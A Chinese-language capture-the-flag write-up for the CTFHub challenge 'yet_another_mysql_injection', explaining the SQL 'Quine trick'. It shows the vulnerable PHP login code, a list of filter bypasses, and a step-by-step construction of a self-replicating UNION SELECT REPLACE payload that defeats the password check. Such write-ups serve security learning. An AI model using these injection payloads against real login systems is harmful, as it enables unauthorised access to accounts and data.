SQL 注入之 Quine trick

Quine trick 是一种让 SQL 输入与输出相同的技巧,原理不难,但是实际施行起来比较繁琐。

以 CTFHUB 上的“yet_another_mysql_injection”这题为例,这题中先是有一些过滤,其中过滤绕过如下:

空格 -> /**/
= -> like
<>(大于小于号) -> least(),greatest()
substr -> mid
in -> like('admi%')

题目源码如下

function checkSql($s) {
    if(preg_match("/regexp|between|in|flag|=|>|<|and|\||right|left|reverse|update|extractvalue|floor|substr|&|;|\\\$|0x|sleep|\ /i",$s)){
        alertMes('hacker', 'index.php');
    }
}

if (isset($_POST['username']) && $_POST['username'] != '' && isset($_POST['password']) && $_POST['password'] != '') {
    $username=$_POST['username'];
    $password=$_POST['password'];
    if ($username !== 'admin') {
        alertMes('only admin can login', 'index.php');
    }
    checkSql($password);
    $sql="SELECT password FROM users WHERE username='admin' and password='$password';";
    $user_result=mysqli_query($con,$sql);
    $row = mysqli_fetch_array($user_result);
    if (!$row) {
        alertMes("something wrong",'index.php');
    }
    if ($row['password'] === $password) {
    die($FLAG);
    } else {
    alertMes("wrong password",'index.php');
  }
}

其中比较重要是这两条,一是给了 sql 的查询语句,而是给了输出 flag 的条件

 $sql="SELECT password FROM users WHERE username='admin' and password='$password';";
 
 if ($row['password'] === $password) 

表面上看$row['password'] === $password只要使用盲注就可以绕过,但是这题的 user 表实际上是空的,所以盲注出的结果实际上也是错的,所以这里要使用的就是 quine 技巧。

这里先给出一个原题目的 payload

union/**/SELECT/**/REPLACE(REPLACE('"/**/union/**/SELECT/**/REPLACE(REPLACE(".",CHAR(34),CHAR(39)),CHAR(46),".")',CHAR(34),CHAR(39)),CHAR(46),'"/**/union/**/SELECT/**/REPLACE(REPLACE(".",CHAR(34),CHAR(39)),CHAR(46),".")')

这段 payload 的核心部分在 sql 里的执行结果是这样的

 MySQL  localhost:3306 ssl  SQL > SELECT REPLACE('REPLACE(".",CHAR(46),".")',CHAR(46),'REPLACE(".",CHAR(46),".")');
+---------------------------------------------------------------------------+
| REPLACE('REPLACE(".",CHAR(46),".")',CHAR(46),'REPLACE(".",CHAR(46),".")') |
+---------------------------------------------------------------------------+
| REPLACE("REPLACE(".",CHAR(46),".")",CHAR(46),"REPLACE(".",CHAR(46),".")") |
+---------------------------------------------------------------------------+
1 row in set (0.0005 sec)

可以见得其输入输出都是一致的,从而可以达到绕过===的结果

先从 REPLACE 的基础形式开始说起

REPLACE("str",编码间隔符,"str");

要构造一个 quine,就要先从 str 开始构造

基本形式

REPLACE('.',CHAR(46),'.');

这时将 str 构造为

REPLACE(".",CHAR(46),".")

带入基本形式有

REPLACE('REPLACE(".",CHAR(46),".")',CHAR(46),'REPLACE(".",CHAR(46),".")');

此时,便构造了一个 quine

但是这里还有一个问题,就是输出后语句单双引号是不同的,这时便要对我们构造的 quine 进行一个升级。

就是额外是添加对于单双引号的替换

REPLACE(".",CHAR(34),CHAR(39));

此时的基本语句也变为

REPLACE(REPLACE(".",CHAR(34),CHAR(39)),CHAR(46),".")

(34 是双引号的编码,39 是的单引号的编码)

接着开始构造 str

REPLACE(REPLACE(".",CHAR(34),CHAR(39)),CHAR(46),".")

构造完整 payload

REPLACE(REPLACE('REPLACE(REPLACE(".",CHAR(34),CHAR(39)),CHAR(46),".")',CHAR(34),CHAR(39)),CHAR(46),'REPLACE(REPLACE(".",CHAR(34),CHAR(39)),CHAR(46),".")');

至此,完成了对 quine 的完整构造。

回到题目

 $sql="SELECT password FROM users WHERE username='admin' and password='$password';";
 
 if ($row['password'] === $password) 

根据题目中的条件进行 str 构造

"UNION/**/SELECT/**/REPLACE(REPLACE(".",CHAR(34),CHAR(39)),CHAR(46),".")#

此时的基本形式为

'UNION/**/SELECT/**/REPLACE(REPLACE('.',CHAR(34),CHAR(39)),CHAR(46),'.')#

代入有

'UNION/**/SELECT/**/REPLACE(REPLACE('"UNION/**/SELECT/**/REPLACE(REPLACE(".",CHAR(34),CHAR(39)),CHAR(46),".")#',CHAR(34),CHAR(39)),CHAR(46),'"UNION/**/SELECT/**/REPLACE(REPLACE(".",CHAR(34),CHAR(39)),CHAR(46),".")#')#

获得 flag

1.png

参考资料:

https://www.anquanke.com/post/id/253570

http://c.biancheng.net/mysql/replace.html